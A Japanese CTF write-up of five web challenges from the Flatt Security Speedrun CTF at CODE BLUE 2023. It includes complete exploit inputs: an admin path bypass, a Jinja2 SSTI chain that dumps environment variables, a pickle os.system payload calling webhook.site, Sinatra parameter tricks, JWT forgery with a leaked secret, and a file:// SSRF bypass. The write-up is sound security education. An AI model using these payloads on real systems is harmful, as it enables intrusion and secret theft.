11/9にCODE BLUE 2023の会場で開催されたFlatt Security Speedrun CTFに参加した。5問のWeb問が用意されていたのだけれども、それを全完した速さによってランキングが決まるという特殊な形式だった。この短時間で解ける(ことになっている)という特徴から4回の枠があり、そのいずれかで参加できるということだった。久々にakiymさん作問の問題が遊べることに喜びつつ、私はちょうど参加できそうだった初回の10時から出て、45分26秒5で全完。最初に全完し、最後まで1位の座を守り抜けた。賞品としてTシャツをいただけるということなので、楽しみにしたい。
⏰Flatt Security Speedrun CTF TOP3⏰
— 株式会社Flatt Security (@flatt_security) 2023年11月9日
🥇1st st98 45:26:6
🥈2nd 0xiso 1:49:30:6
🥉3rd xrekkusu 2:19:15:8
上位入賞者5名の方には後日賞品をお贈りします!
ご参加いただいた皆様、ありがとうございました✨ #codeblue_jp pic.twitter.com/tcUz5zjIs8
リンク:
- 問題のリポジトリ: この後のネタバレを読む前に挑戦されるとよいかもしれません
- Flatt Speedrun CTF Writeup - rex-gs: 同じく全完されたれっくすさんのwriteup。writeup speedrun部門では負けました
- [目標タイム: 2分30秒 / 区間タイム: 2分1秒5] deny
- [目標タイム: 5分 / 区間タイム: 16分3秒4] gadget
- [目標タイム: 8分30秒 / 区間タイム: 4分39秒5] gem
- [目標タイム: 10分 / 区間タイム: 13分56秒8] arrow
- [目標タイム: 13分30秒 / 区間タイム: 8分45秒2] bread
[目標タイム: 2分30秒 / 区間タイム: 2分1秒5] deny
Welcome to Speedrun CTF!
(問題サーバのURL)
添付ファイル: deny.zip
ほか、手元で問題を動かすには docker compose up -d
せよというような案内もあるが、RTAでそんなことをやっている暇はない。添付ファイルの展開とソースコードの確認を素早く済ませる。ソースコードは次の通り。やることは明確で、/admin/flag
にアクセスできたらフラグが得られるのだけれども、REQUEST_URI
をチェックしてもし /admin
から始まっていれば403を出すという処理を行うミドルウェアが入ってしまっている。素直にアクセスしようとしても403になってしまう。
import os from flask import Flask class ForbidAdminMiddleware: def __init__(self, app): self.app = app def __call__(self, environ, start_response): request_uri = environ['REQUEST_URI'] if request_uri.startswith('/admin'): start_response('403 Forbidden', []) return [request_uri.encode()] return self.app(environ, start_response) app = Flask(__name__) app.wsgi_app = ForbidAdminMiddleware(app.wsgi_app) @app.route("/") def index(): return 'Welcome to Speedrun CTF!' @app.route("/admin/flag") def flag(): return os.environ.get('FLAG', '')
まあどうせパラメータによって、パーセントエンコーディングをデコードした後の値を返すか、それとも元のままかが変わるとかそういう話やろと思いつつ、--path-as-is
を付けつつ適当に試す。いけた。区間タイムは2分1秒5で、-28秒。目標タイムより素早く解けた。
$ curl --path-as-is https://(省略)/%2f%61dmin/flag flag{why_dont_you_use_PATH_INFO}
flag{why_dont_you_use_PATH_INFO}
[目標タイム: 5分 / 区間タイム: 16分3秒4] gadget
Choose your own function!
(問題サーバのURL)
添付ファイル: gadget.zip
ソースコードは次の通り。フラグどこやねんと思うが compose.yaml
におり、どうやら環境変数中に含まれている様子。Jinja2のテンプレート, pickle, YAMLと無警戒にそのままユーザ入力をデシリアライズなりレンダリングなりするとまずいことを引き起こしそうな機能が揃っている。ただし、この中だと ast.literal_eval
は安全である、と思いたい。compose.yaml
も同時に確認し、環境変数にフラグが存在していたものの、このコードのどこからも参照されていないことから、RCEに持ち込んで os.environ
にアクセスするなり、OSコマンドの実行に持ち込んで printenv
するなりといったところかなと考える。
import ast import base64 import pickle import yaml from fastapi import FastAPI from jinja2 import Template from pydantic import BaseModel class Input(BaseModel): input: str | None = None base64_input: str | None = None app = FastAPI() @app.get('/') def index(): return 'Choose your own function!' @app.post('/eval') def api_eval(input: Input): return {'output': repr(ast.literal_eval(input.input))} @app.post('/jinja2') def api_jinja2(input: Input): return {'output': Template(input.input).render()} @app.post('/pickle') def api_pickle(input: Input): return {'output': repr(pickle.loads(base64.b64decode(input.base64_input)))} @app.post('/yaml') def api_yaml(input: Input): return {'output': repr(yaml.load(input.input, Loader=yaml.Loader))}
まずはJinja2のSSTIを狙う。こういったシチュエーションでは {{config}}
や {{request}}
でほぼ勝ち、前者が色々な情報のリークに便利で、特に後者ではhamayanhamayanさんのWeb問でのテクニックをまとめた記事にも書かれているように、{{request.application.__globals__.__builtins__.import('os')}}
のように辿って、モジュールのインポートに簡単に持ち込めて便利。しかしながら、今回は jinja2.Template
を直接呼んでいることから config
も request
も存在しない。若干焦る。
こうなると ''.__class__.…
のようにリテラルから特殊な属性やメソッドを辿っていく必要があるのだけれども、その途中で __subclasses__
を呼び出した結果から適切なクラス(ほしい値にアクセスできるようなもの)を選択する作業がある。関連するテクニックを思い出す時間やらそのクラスを探す手間やらを考えると、Jinja2の次にペイロードの作成が楽なpickleを狙う方が早いと考え、スイッチする。
"pickle deserialize os command vuln" みたいな雑なクエリでググり、すぐにペイロードを生成できるコードを見つける。以下のようなコードで試すもダメ。import
の位置がメチャクチャだったり、Base64エンコードしたいはずなのになぜか binascii
モジュールをインポートしたりといった様子から焦りが感じられる。
import binascii import os import requests class Exploit: def __reduce__(self): cmd = ('wget https://webhook.site/…') return os.system, (cmd,) import pickle import base64 p = base64.b64encode(pickle.dumps(Exploit())) s = requests.post('https://(省略)/pickle', json={ 'base64_input': p }) print(s.text)
どういうことやねんとデバッグのため渋々(時間がもったいないとなぜかしていなかった) docker compose up -d
でローカルの環境を用意する。curl
, wget
が動かない。コンテナに入るとどちらも存在しなかった。これをバイパスして外部にアクセスする手段を考える時間と、Jinja2に戻って色々調べる時間を天秤にかける。前者はアウトバウンドな通信を制限している可能性を考えると徒労に終わるかもしれない。こうなると確実を取りたいと後者を選ぶ。
SSTIの度にいつも見ているP=NPのチートシートを参照しつつ、適当なリテラルから特殊な属性やメソッドを辿って __builtins__
にたどり着く方法を考える。汎用的な方法が見つけられない。いつも見ているHackTricksのまとめを見ると、__subclasses__
の返り値に対してforを回して warning
を探している様子があり、そういえばそうだった、最近全然SSTIしていなくて忘れていたけれども、warning
がキーなんだったと思い出す。
__subclasses__
の返り値をテキストエディタに貼り付けてコンマを改行文字に置換、何行目に warning
があるかでインデックスを特定する。最終的に、次のようにしてやっとフラグが得られた。pickleでの試行のコードをそのまま残しているあたりから焦りが感じられる。
import os import requests class Exploit: def __reduce__(self): cmd = ('/bin/wget https://webhook.site/…') return os.system, (cmd,) s = requests.post('https://(省略)/jinja2', json={ 'input': '{{[].__class__.__mro__[1].__subclasses__()[229]()._module.__builtins__.__import__("os").environ}}' }) print(s.text)
$ python3 t.py {"output":"environ({'K_REVISION': 'gadget-1oioyivwdw-00003-yib', 'PYTHON_PIP_VERSION': '23.2.1', 'HOME': '/home/ctf', 'PORT': '8080', 'GPG_KEY': '7169605F62C751356D054A26A821E680E5FA6305', 'K_CONFIGURATION': 'gadget-1oioyivwdw', 'PYTHON_GET_PIP_URL': 'https://github.com/pypa/get-pip/raw/c6add47b0abf67511cdfb4734771cbab403af062/public/get-pip.py', 'PATH': '/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'LANG': 'C.UTF-8', 'K_SERVICE': 'gadget-1oioyivwdw', 'PYTHON_VERSION': '3.12.0', 'PWD': '/home/ctf', 'PYTHON_GET_PIP_SHA256': '22b849a10f86f5ddf7ce148ca2a31214504ee6c83ef626840fde6e5dcd809d11', 'FLAG': 'flag{literal_eval_is_unexploitable_isnt_it?}'})"}
区間タイムは16分3秒4で、+11分3秒。目標タイムを大幅に超過している。
flag{literal_eval_is_unexploitable_isnt_it?}
[目標タイム: 8分30秒 / 区間タイム: 4分39秒5] gem
Params, params, params!
(問題サーバのURL)
添付ファイル: gem.zip
前区間での目標タイムからの大幅な遅れに焦りを覚えたが、CTFの開始前にルールを熟読していたおかげで、各問題を開始するまで(各問題は独立しており、開始するボタンを押さない限り問題文や添付ファイルなど問題の情報は見られないようになっている)タイマーは止まっていることを思い出す。つまり問題と問題の間で休憩を取ることができる。深呼吸をしてこの問題に臨む。
今度はRuby。私にはあまり馴染みがない。この調子で別の言語がどんどん出てきてさらに馴染みのない言語が出てくれたらと困るなと思いつつも、Rubyならでは、Sinatraならではのテクニックはあまり使わなそうだなというのが初めてコードを見たときの印象。クエリパラメータに配列とかハッシュを仕込むことができればよさそう。ただ、7月に開催・出題したzer0pts CTF 2023 - Plain Blogで偶然にもSinatraを使っており、この際 params
はパスパラメータやクエリパラメータ、リクエストボディの値もごっちゃにすることを学んでいたので、一応それも使う可能性があるかなともぼんやり考える。
require 'sinatra' get '/' do if params == {} 'Hello' elsif params[:a] != '1' status 400 'Nope' elsif params[:b] != ['2'] status 401 'Nope' elsif params[:c] != [{'d' => '3', 'e' => nil}] p params status 402 'Nope' elsif request.query_string.include? '&' # what was parse_nested_query? status 403 'Nope' else ENV['FLAG'] end end
まず a
は a=1
でOK、b
も b[]=2
でOK。次にひとつ飛ばして request.query_string.include? '&'
とクエリ文字列に &
が入っていれば弾く処理があるけれども、これはたとえばJavaなんかに触れたことがあると思いつくかもしれないが、;
を代わりの区切り文字にすればよいと試し、OKであることを確認した。最後に c
だけれども、c[d]=3&c[e]
が通らないなあとちょっと悩む。今度は問題を開くとともにローカルでまず docker compose up -d
をしていたので、ローカル環境でprintfデバッグもといppデバッグによって理由を調べようかなと考えるも、ここですぐにハッシュがブラケットで囲まれていることに気づく。配列やんけ!!!!! 騙された!!!!!!!!
最終的に、次のOSコマンドでフラグが得られた。
$ curl -i "https://(省略)?a=1;b[]=2;c[][d]=3;c[][e]" HTTP/2 200 content-type: text/html;charset=utf-8 x-xss-protection: 1; mode=block x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-cloud-trace-context: ae68e5c6ae241e5c2b6f01643854f3ef;o=1 date: Thu, 09 Nov 2023 01:25:41 GMT server: Google Frontend content-length: 33 alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 flag{this_behavior_is_useful_btw}
変なところで詰まりかけたが、区間タイムは8分30秒で、-3分50秒。目標タイムよりだいぶ短い時間で解けた。
flag{this_behavior_is_useful_btw}
[目標タイム: 10分 / 区間タイム: 13分56秒8] arrow
Dart?
(問題サーバのURL)
添付ファイル: arrow.zip
gemで恐れていた事態が起こる。Dartにはまったく馴染みがない。Dartという文字列を見て、最悪Flutterというセキュリティエンジニアにとっての悪夢*1と戦う必要があるのではないかと考えたが、サーバサイドのコードをまず見た感じでは普通のHTTPサーバっぽく安心する。いや、安心しないが。こんな短時間でDartと格闘したくないんだが。CTFでDartの問題を見たのはこれで2問目だなあ、ACSC 2022で出たあの問題は解けなかったなあと嫌なことを思い出しつつもコードを見ていく。
JWTだ。フラグは /api/flag
から取得でき、ただしその条件として admin
に対して発行されたJWTを持っている必要がある。JWTは /api/login
がガンガン発行してくれるが、こいつは admin
というユーザ名である場合にのみ発行を拒否する。わがままだなあ。まず考えるのは型や文字列比較周りの変な挙動で、前者はまず {"username": ["admin"]}
のようにすればいい感じにならないかなと思うも、これはJSではない。動かない。後者はAdmin
(頭文字を大文字にする。case-insensitiveな比較ではないかと考えた) や admin
(後ろにスペースを入れている。truncationがないかなと思った)といったものを試すが通らない。
import 'dart:convert'; import 'dart:io' show Platform; import 'package:chal/util.dart'; import 'package:shelf/shelf.dart'; import 'package:shelf/shelf_io.dart' as shelf_io; import 'package:shelf_router/shelf_router.dart'; import 'package:shelf_static/shelf_static.dart'; Response json(Object? object, {status = 200}) { return Response( status, body: jsonEncode(object), headers: { 'Content-Type': 'application/json', }, ); } void main() async { final router = Router() ..post('/api/login', (Request request) async { String? username; try { final body = jsonDecode(await request.readAsString()); username = body['username']; } catch (e) { return json({}, status: 400); } if (username == 'admin') { return json({}, status: 403); } final loginToken = LoginToken(token: signJWT(username)); return json(loginToken.toJson()); }) ..get('/api/flag', (Request request) { final authorization = request.headers['Authorization']; final token = authorization?.replaceFirst('Bearer ', ''); final jwt = verifyJWT(token); if (jwt == null) { return json({}, status: 401); } if (jwt.subject != 'admin') { return json({}, status: 403); } return json(Flag(flag: Platform.environment['FLAG']).toJson()); }); final port = int.parse(Platform.environment['PORT'] ?? '3000'); final handler = Cascade() .add(createStaticHandler('build', defaultDocument: 'index.html')) .add(router) .handler; await shelf_io.serve(handler, '0.0.0.0', port); }
じゃあ /api/login
のコードに問題があるわけでなく、JWT周りだろうと当たりをつける。先程のコードから読み込まれている chal/util.dart
は以下のコードで、dart_jsonwebtoken
とかいうパッケージを使っているなあとか、なんで秘密鍵がハードコーディングされてるんだろうなあとか思う。
まずJWT名物 alg
をいじることを考える。none
は通らない。そもそも HS256
なのでほかの RS256
などに変えても落ちるだけ。リポジトリのスター数を見て、0-dayか、このライブラリ特有の仕様を使うのではないだろうかと一瞬考えるも、これはSpeedrun CTFだぞとすぐに考えを捨てる。一応使われているバージョンも見て、v2.12.0と11/9時点で最新のひとつ前であることから、(あるかどうかは知らないが)以前存在した脆弱性に関するものでもなさそうとも思う。
import 'package:dart_jsonwebtoken/dart_jsonwebtoken.dart'; // this is replaced from Dockerfile final hardcodedSecretKey = SecretKey('<PLACEHOLDER>'); String signJWT(String? username) { final jwt = JWT({}, subject: username); return jwt.sign(hardcodedSecretKey); } JWT? verifyJWT(String? token) { if (token == null) { return null; } try { final jwt = JWT.verify(token, hardcodedSecretKey); return jwt; } catch (e) { return null; } } class LoginToken { String token; LoginToken({required this.token}); LoginToken.fromJson(Map<String, dynamic> json) : token = json['token']; Map<String, dynamic> toJson() => { 'token': token, }; } class Flag { String? flag; Flag({required this.flag}); Flag.fromJson(Map<String, dynamic> json) : flag = json['flag']; Map<String, dynamic> toJson() => { 'flag': flag, }; }
じゃあ、ハードコーディングされた秘密鍵ですねえと思う。そういえばフロントエンドのコードもDartで、先程の util.dart
を読み込んでいるのだった。もしかしてこれがバンドルされたJSに含まれているのではないか。ちなみに、秘密鍵のフォーマットは次の通りSHA-256だった。
RUN secret=$(head -c 16 /dev/urandom | sha256sum | awk '{print $1}') && \ sed -i "s/<PLACEHOLDER>/$secret/g" lib/util.dart
バンドルされたJSである /main.dart.js
を見る。めっちゃ圧縮されており、シンボル情報が吹き飛んでいて読みづらい。じゃあ先程見たフォーマットが使えるのではないかと、DevToolsでコンソールを開き document.body.innerText.match(/[0-9a-f]{32,}/g)
で検索してみる。めっちゃあるやんけ。
落ち着いて、SHA-256のhexでの桁数の64文字に絞りつつ Set
で重複を排除する。かつ、"
で囲んでジャスト64文字のものだけ取れるようにする。まだ多い。
はじめの方の 7d5a0975fc2c3057eef67530417affe7fb8055c126dc5c6ce94a4b44f330b5d9
などは楕円曲線関連のなんかっぽいので、逆に後ろから見ていく。最後の eccf539166d55142bb491b2ff45a14e47724ad1a60080b06f105951312d101f2
がビンゴだった。JWT.ioでJWTを偽造する。いけた。
$ f eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2OTk0OTM3NzYsInN1YiI6ImFkbWluIn0.hdQZ8fbVanMx_1pnIMK5hmonIpZrjpG2eR-fYlYM6RY HTTP/2 200 x-powered-by: Dart with package:shelf x-frame-options: SAMEORIGIN content-type: application/json x-xss-protection: 1; mode=block x-content-type-options: nosniff x-cloud-trace-context: dadb7a4d0ba5b78c09012b1f2ea6a6cc;o=1 date: Thu, 09 Nov 2023 01:40:38 GMT server: Google Frontend content-length: 50 alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 {"flag":"flag{dont_confuse_frontend_and_backend}"}
区間タイムは13分56秒8で、+3分56秒。目標タイムより遅いが、遅すぎるというわけではなくまずまずといったところ。
flag{dont_confuse_frontend_and_backend}
[目標タイム: 13分30秒 / 区間タイム: 8分45秒2] bread
This is the final challenge. No Node.js, Bun is better.
(問題サーバのURL)
添付ファイル: bread.zip
JavaScript + Bun。また違う言語かつBunというまだ自分には馴染みのない環境でうーんと思う。ただ、JavaScriptは私にとってはホームグラウンドなのでアドバンテージがある。勝ちを確信する。
ソースコードは次の通り。/flag
というパスにフラグを書き込んだので読めということらしい。わざわざ環境変数にあるフラグを /flag
に書き込んでいるあたり、RCEではないのだろうな、フラグを読み込める脆弱性なんだろうなと思う。
POST /fetch
が妙なことをするAPIで、こいつにURLを投げると fetch
で取りに行ってくれるらしい。ただし、URLに f
, l
, a
, t
のいずれかが含まれているとそこで400を返す。また、new URL(fetchUrl, `http://localhost:${port}/`)
とURLのコンストラクタの第2引数に localhost
のURLを入れておくことで、ローカル以外には飛ばせないようにしている。
const port = process.env.PORT || 3000; if (process.env.FLAG) { Bun.write("/flag", process.env.FLAG); } const server = Bun.serve({ port, async fetch(req) { const url = new URL(req.url); if (url.pathname === "/") { return new Response("Welcome to Bun!"); } else if (url.pathname === "/zzz") { return new Response("sleeping..."); } else if (url.pathname === "/flag") { return new Response("read /flag!"); } else if (req.method === "POST" && url.pathname === "/fetch") { const fetchUrl = url.searchParams.get("url") || ""; if ([...fetchUrl].some((c) => [..."flatt"].includes(c))) { return new Response("Nope", { status: 400 }); } // by the way, where is the implementation of fetch: https://github.com/oven-sh/bun const res = await fetch(new URL(fetchUrl, `http://localhost:${port}/`)); return new Response((await res.blob()).stream()); } return new Response("Not found", { status: 404 }); }, });
まず fetch
で /flag
を手に入れられないかについて。これは docker compose up -d
でローカルに問題サーバの環境を用意しておき、そこで検証することで突破できた。こいつは file:
スキームを受け付ける。
ctf@8d79ff4b843a:~$ bun repl Welcome to Bun v1.0.8 Type ".help" for more information. [!] Please note that the REPL implementation is still experimental! Don't consider it to be representative of the stability or behavior of Bun overall. > await (await fetch('file:///flag')).text() 'flag{dummy}'
続いて、new URL
の問題について。与えられている第2引数が使われる条件について、MDNを読むと「url が相対 URL の場合に使用するベース URL を表す文字列です」ということだった。じゃあ絶対URLを仕込めばいいじゃん。
ctf@8d79ff4b843a:~$ bun repl Welcome to Bun v1.0.8 Type ".help" for more information. [!] Please note that the REPL implementation is still experimental! Don't consider it to be representative of the stability or behavior of Bun overall. > '' + new URL('/poyo', 'http://localhost:3000') 'http://localhost:3000/poyo' > '' + new URL('http://example.com', 'http://localhost:3000') 'http://example.com/'
最後に、どうやって禁止されている文字を含ませないようにするか。じゃあパーセントエンコーディングと思う。いけそう。
ctf@8d79ff4b843a:~$ bun repl Welcome to Bun v1.0.8 Type ".help" for more information. [!] Please note that the REPL implementation is still experimental! Don't consider it to be representative of the stability or behavior of Bun overall. > await (await fetch('file:///fl%61g')).text() 'flag{dummy}'
いけた。file
はパーセントエンコーディングするわけにはいかないけれども、幸いチェックはcase-insensitiveなので FiLe
のように大文字を入れることで回避できる。ファイル名でも同様にできたんじゃないかと一瞬考えるも、ここはLinux環境なんですよねえ。
$ curl -X POST -i "http://…/fetch?url=FiLe:///%2566%256c%2561%2567" HTTP/2 200 content-type: application/octet-stream content-disposition: filename="flag" x-cloud-trace-context: 3162f685d4b33f91f51d8f45f1924269;o=1 date: Thu, 09 Nov 2023 01:50:36 GMT server: Google Frontend content-length: 44 alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 flag{file_scheme_isnt_implemented_in_nodejs}
区間タイムは8分45秒2で、-4分44秒。目標タイムよりかなり短い時間で解けた。
ここでタイマーストップ。記録は45分26秒6。deny, gem, breadで目標タイムより早く解くことができたのはよかったけれども、gadgetで大幅に目標タイムを超過してしまったのが悔しい。ただ、改めてCODE BLUEのWebページにある「※全問クリアは最短30分前後を想定しています」という記述を見て、そんなんできるかいなと思う。合計目標タイムの39分30秒はgadgetで最初からJinja2のSSTIに専念していればいけたかなと思う。
こうやって手元にexploitがあるので再走したら3分でいけそう。なんならフラグがあるので1分でもいける。
*1:そんなことはない